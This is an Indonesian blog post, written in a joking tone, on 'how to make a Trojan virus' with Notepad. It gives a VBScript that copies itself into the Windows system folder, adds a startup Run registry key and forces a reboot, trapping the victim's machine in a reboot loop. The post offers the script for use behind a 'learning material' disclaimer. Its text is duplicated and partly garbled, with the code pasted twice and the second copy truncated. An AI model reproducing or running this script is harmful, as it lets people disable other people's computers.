Waduh,,,lagi ngomongin Virus nih,,hahaha,,
sekarang yang mau ane bahas yaitu cara bikin Virus Trojan ,,wah,,lumyan serem juga nih virus,,sampe'' kalo komputer kita kena bisa'' mampus dah kita,,wkwakakakwekwak,
okwe langsung aja gini caranya,,,,,,,,,,
Nama Aslinya Trojan Horse Kalo Mau Penjelasannya Klik Pengertian Virus , Dan Seperti Komputer Saya Ini Penuh Virus Worm , Sengaja Biar Jadi Pabrik Virus ckckck , Oke Begini Cara Membuatnya Mudah Kok Notepad Lagi hoho .
1. Buka Notepad | All Program > Notepad
2. Copy Dan Pate Script Berikut Ke Notepad !
=========================================================================
3.Kalau Sudah Simpah Filenya Dengan Extensi .VBS contoh JurigWarnet.VBS , Nyimpennya Harus All Files
4. Jangan Di Klik kalau Itu Komputer Pribadi Gw Gak Tanggung Jawab Kalau Keluar 1000 File Aneh
Catatan : Saya Tidak Bertanggung Jawab Atas Apa Yang Anda Lakukan Ini Hanya Materi Pembelajaran
Sekian Cara Membuat Virus TROJAN , Semoga Bermanfaat Untuk Agan Sekalian ,
sekarang yang mau ane bahas yaitu cara bikin Virus Trojan ,,wah,,lumyan serem juga nih virus,,sampe'' kalo komputer kita kena bisa'' mampus dah kita,,wkwakakakwekwak,
okwe langsung aja gini caranya,,,,,,,,,,
Nama Aslinya Trojan Horse Kalo Mau Penjelasannya Klik Pengertian Virus , Dan Seperti Komputer Saya Ini Penuh Virus Worm , Sengaja Biar Jadi Pabrik Virus ckckck , Oke Begini Cara Membuatnya Mudah Kok Notepad Lagi hoho .
1. Buka Notepad | All Program > Notepad
2. Copy Dan Pate Script Berikut Ke Notepad !
=========================================================================
set FSobj=CreateObject(“Scripting.FileSystemObject”)
set sysDir = FSobj.GetSpecialFolder(1)
createRegKey “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB”,sysDir&”\dlRB.vbs”
sub createRegKey(regKey,regVal)
set regEdit = CreateObject(“WScript.Shell”)
regEdit.RegWrite regKey,regVal
end sub
set generateCopy=FSobj.CreateTextFile(sysDir+”\dlRB.vbs”)
generateCopy.close
set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)
setFile()
fixedCode=replace(fileData,chr(94),”"”")
set procreateCopy=FSobj.OpenTextFile(sysDir+”\dlRB.vbs”,2)
procreateCopy.write fixedCode
procreateCopy.close
rebootSystem()
function setFile()
fileData=”rem – ^dlRB^ by D.L.” &vbcrlf& _
“strComputer = ^.^ ” &vbcrlf& _
“Set objWMIService = GetObject(^winmgmts:^ _ ” &vbcrlf& _
“& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)” &vbcrlf& _
“Set colOperatingSystems = objWMIService.ExecQuery _ ” &vbcrlf& _
“(^Select * from Win32_OperatingSystem^)” &vbcrlf& _
“For Each objOperatingSystem in colOperatingSystems” &vbcrlf& _
“ObjOperatingSystem.Reboot()” &vbcrlf& _
“Next”
end function
function rebootSystem()
strComputer = “.”
Set objWMIService = GetObject(“winmgmts:” _
& “{impersonationLevel=impersonate,(Shutdown)}!\\” & strComputer & “\root\cimv2″)
Set colOperatingSystems = objWMIService.ExecQuery _
(“Select * from Win32_OperatingSystem”)
For Each objOperatingSystem in colOperatingSystems
ObjOperatingSystem.Reboot()
Next
end function
=========================================================================set sysDir = FSobj.GetSpecialFolder(1)
createRegKey “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB”,sysDir&”\dlRB.vbs”
sub createRegKey(regKey,regVal)
set regEdit = CreateObject(“WScript.Shell”)
regEdit.RegWrite regKey,regVal
end sub
set generateCopy=FSobj.CreateTextFile(sysDir+”\dlRB.vbs”)
generateCopy.close
set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)
setFile()
fixedCode=replace(fileData,chr(94),”"”")
set procreateCopy=FSobj.OpenTextFile(sysDir+”\dlRB.vbs”,2)
procreateCopy.write fixedCode
procreateCopy.close
rebootSystem()
function setFile()
fileData=”rem – ^dlRB^ by D.L.” &vbcrlf& _
“strComputer = ^.^ ” &vbcrlf& _
“Set objWMIService = GetObject(^winmgmts:^ _ ” &vbcrlf& _
“& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)” &vbcrlf& _
“Set colOperatingSystems = objWMIService.ExecQuery _ ” &vbcrlf& _
“(^Select * from Win32_OperatingSystem^)” &vbcrlf& _
“For Each objOperatingSystem in colOperatingSystems” &vbcrlf& _
“ObjOperatingSystem.Reboot()” &vbcrlf& _
“Next”
end function
function rebootSystem()
strComputer = “.”
Set objWMIService = GetObject(“winmgmts:” _
& “{impersonationLevel=impersonate,(Shutdown)}!\\” & strComputer & “\root\cimv2″)
Set colOperatingSystems = objWMIService.ExecQuery _
(“Select * from Win32_OperatingSystem”)
For Each objOperatingSystem in colOperatingSystems
ObjOperatingSystem.Reboot()
Next
end function
3.Kalau Sudah Simpah Filenya Dengan Extensi .VBS contoh JurigWarnet.VBS , Nyimpennya Harus All Files
4. Jangan Di Klik kalau Itu Komputer Pribadi Gw Gak Tanggung Jawab Kalau Keluar 1000 File Aneh
Catatan : Saya Tidak Bertanggung Jawab Atas Apa Yang Anda Lakukan Ini Hanya Materi Pembelajaran
Sekian Cara Membuat Virus TROJAN , Semoga Bermanfaat Untuk Agan Sekalian ,
Postingan
